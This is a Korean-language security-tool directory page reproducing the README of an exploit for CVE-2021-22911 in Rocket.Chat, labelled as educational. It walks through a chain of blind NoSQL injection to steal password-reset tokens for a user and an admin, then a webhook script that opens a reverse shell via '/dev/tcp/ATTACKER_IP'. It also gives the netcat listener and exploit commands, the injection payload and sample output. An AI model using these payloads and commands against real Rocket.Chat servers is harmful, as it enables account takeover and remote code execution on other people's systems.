Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
rocketcat-cve-2021-22911-exploit — CVE-2021-22911 Rocket.Chat NoSQL Injection RCE Exploit - 교육 목적 | Kitploit
도구/GitHubGitHub/roshanrajbanshi/rocketcat-cve-2021-22911-exploit
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationPayload Development
GitHubroshanrajbanshi/rocketcat-cve-2021-22911-exploit

rocketcat-cve-2021-22911-exploit

CVE-2021-22911 Rocket.Chat NoSQL Injection RCE Exploit - 교육 목적

저장소 보기
55개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

Rocket.Chat CVE-2021-22911 익스플로잇

⚠️ 면책 조항 - 교육 목적으로만 사용

이 익스플로잇은 공인된 침투 테스트 및 교육 목적으로만 사용됩니다. 컴퓨터 시스템에 대한 무단 액세스는 불법입니다. 저자는 오용에 대해 책임을 지지 않습니다.

📋 개요

CVE-2021-22911은 Rocket.Chat에서 인증되지 않은 NoSQL 인젝션 취약점으로, 원격 코드 실행(RCE)으로 이어집니다.

  • CVSS 점수: 9.8 (치명적)
  • 영향 받는 버전: Rocket.Chat < 3.12.7
  • 공격 벡터: 네트워크 / 인증되지 않음
  • 영향: 전체 시스템 손상

🎯 취약점 상세

이 익스플로잇은 세 가지 NoSQL 인젝션 공격을 연결합니다:

1단계: 낮은 권한 사용자 비밀번호 재설정

  • 낮은 권한 사용자에 대해 비밀번호 분실 요청을 보냅니다
  • $regex 연산자를 사용한 블라인드 NoSQL 인젝션을 통해 비밀번호 재설정 토큰을 문자 단위로 추출합니다
  • 비밀번호를 알려진 값으로 재설정합니다

2단계: 관리자 비밀번호 재설정

  • 1단계를 반복하지만 관리자 계정을 대상으로 합니다
  • 블라인드 NoSQL 인젝션을 통해 관리자 비밀번호 재설정 토큰을 추출합니다
  • 관리자 비밀번호를 변경합니다
  • 3단계: 원격 코드 실행

    • 손상된 관리자 계정으로 인증합니다
    • JavaScript 페이로드가 포함된 웹훅 통합을 생성합니다
    • 페이로드는 Node.js child_process.exec()를 사용하여 리버스 셸을 생성합니다
    • 웹훅을 트리거하여 리버스 셸을 실행합니다

    🛠️ 사전 요구 사항

    root@kitploit:~
    pip install requests
    

    🚀 사용법

    1. Netcat 리스너 시작 (터미널 1)

    root@kitploit:~
    nc -lvnp 4444
    

    2. 익스플로잇 실행 (터미널 2)

    수동 IP 입력:

    root@kitploit:~
    python3 rocket_chat_exploit.py \
      -u [email protected] \
      -a [email protected] \
      -t http://chat.rocket.thm \
      -i 10.9.0.1 \
      -p 4444
    

    tun0 IP 자동 감지 (권장):

    root@kitploit:~
    python3 rocket_chat_exploit.py \
      -u [email protected] \
      -a [email protected] \
      -t http://chat.rocket.thm \
      -i $(ip a show tun0 | grep "inet " | awk '{print $2}' | cut -d/ -f1) \
      -p 4444
    

    인수:

    • -u: 낮은 권한 사용자 이메일 (존재해야 함)
    • -a: 관리자 이메일
    • -t: 대상 URL (Rocket.Chat 인스턴스)
    • -i: 공격자 IP (tun0)
    • -p: Netcat 리스너 포트

    예제 출력

    root@kitploit:~
    ============================================================
      Rocket.Chat CVE-2021-22911 — RCE
      Target : http://chat.rocket.thm
      Shell  : 10.9.0.1:4444
    ============================================================
    
    [PHASE 1] Low-priv user → [email protected]
    [+] Password reset email sent → [email protected]
    [*] Extracting reset token via blind NoSQL injection...
        [43/43] aBcDeFgHiJkLmNoPqRsTuVwXyZ1234567890abcd
    [+] Token: aBcDeFgHiJkLmNoPqRsTuVwXyZ1234567890abcd
    [+] Password changed to: P@$$w0rd!1234
    
    [PHASE 2] Admin user → [email protected]
    [+] Password reset email sent → [email protected]
    [*] Extracting reset token via blind NoSQL injection...
        [43/43] XyZ9876543210aBcDeFgHiJkLmNoPqRsTuVwXyZ
    [+] Token: XyZ9876543210aBcDeFgHiJkLmNoPqRsTuVwXyZ
    [+] Password changed to: P@$$w0rd!1234
    
    [PHASE 3] RCE
    [!] Start your listener now:  nc -lvnp 4444
    [*] Press Enter when nc is ready...
    [+] Authenticated as [email protected]
        userid : userid123456789
        token  : token123456...
    [+] Webhook created
        http://chat.rocket.thm/hooks/hookid123/token456
    [*] Triggering reverse shell...
    [+] Trigger sent — check your nc listener
    

    🔍 기술적 세부 사항

    NoSQL 인젝션 페이로드 형식

    root@kitploit:~
    {
      "message": {
        "msg": "method",
        "method": "getPasswordPolicy",
        "params": [
          {
            "token": {
              "$regex": "^abc"
            }
          }
        ]
      }
    }
    

    RCE 페이로드 (웹훅 스크립트)

    root@kitploit:~
    class Script {
      process_incoming_request({ request }) {
        const require = console.log.constructor('return process.mainModule.require')();
        const { exec } = require('child_process');
        exec('bash -c "bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1"');
      }
    }
    

    📚 참고 자료

    • 원본 익스플로잇: enox - Exploit-DB 50078, 50108
    • 취약점 분석: SonarSource 블로그
    • CVE 상세: CVE-2021-22911

    📝 크레딧

    • enox - 원본 익스플로잇 개발
    • SonarSource - 취약점 연구 및 분석

    ⚖️ 법적 고지

    이 도구는 교육 목적 및 공인된 보안 테스트용으로만 제공됩니다. 컴퓨터 시스템에 대한 무단 액세스는 컴퓨터 사기 및 남용법(CFAA) 및 유사한 국제법에 따라 범죄 행위입니다.


    책임감 있게 사용하세요. 소유한 시스템이나 명시적인 서면 허가를 받은 시스템만 테스트하세요.

    도구 다운로드